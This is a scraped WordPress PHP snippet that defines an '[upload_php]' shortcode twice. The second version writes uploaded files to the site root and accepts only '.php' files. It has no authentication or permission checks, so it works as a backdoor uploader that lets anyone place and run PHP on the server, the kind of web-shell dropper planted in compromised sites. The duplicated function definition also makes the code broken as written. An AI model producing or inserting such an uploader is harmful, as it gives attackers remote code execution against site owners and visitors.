[upload_php]
// Shortcode [upload_php]
function gangga_php_uploader() {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_FILES['php_file'])) {
$uploaded = $_FILES['php_file'];
$target = WP_CONTENT_DIR . '/uploads/' . basename($uploaded['name']);
if (move_uploaded_file($uploaded['tmp_name'], $target)) {
echo "
Upload success: $target
";
} else {
echo "Upload failed!
";
}
}
return '';
}
add_shortcode('upload_php', 'gangga_php_uploader');
// Shortcode [upload_php]
function gangga_php_uploader() {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_FILES['php_file'])) {
$uploaded = $_FILES['php_file'];
// Simpan ke root public_html
$target = ABSPATH . basename($uploaded['name']); // <--- ubah di sini
// Batasi agar hanya .php dan tidak overwrite file penting
$ext = strtolower(pathinfo($uploaded['name'], PATHINFO_EXTENSION));
if ($ext !== 'php') {
echo "Hanya file .php yang boleh diupload!
";
return;
}
if (move_uploaded_file($uploaded['tmp_name'], $target)) {
echo "Upload sukses: $target
";
} else {
echo "Upload gagal!
";
}
}
return '';
}
add_shortcode('upload_php', 'gangga_php_uploader');
Aller au contenu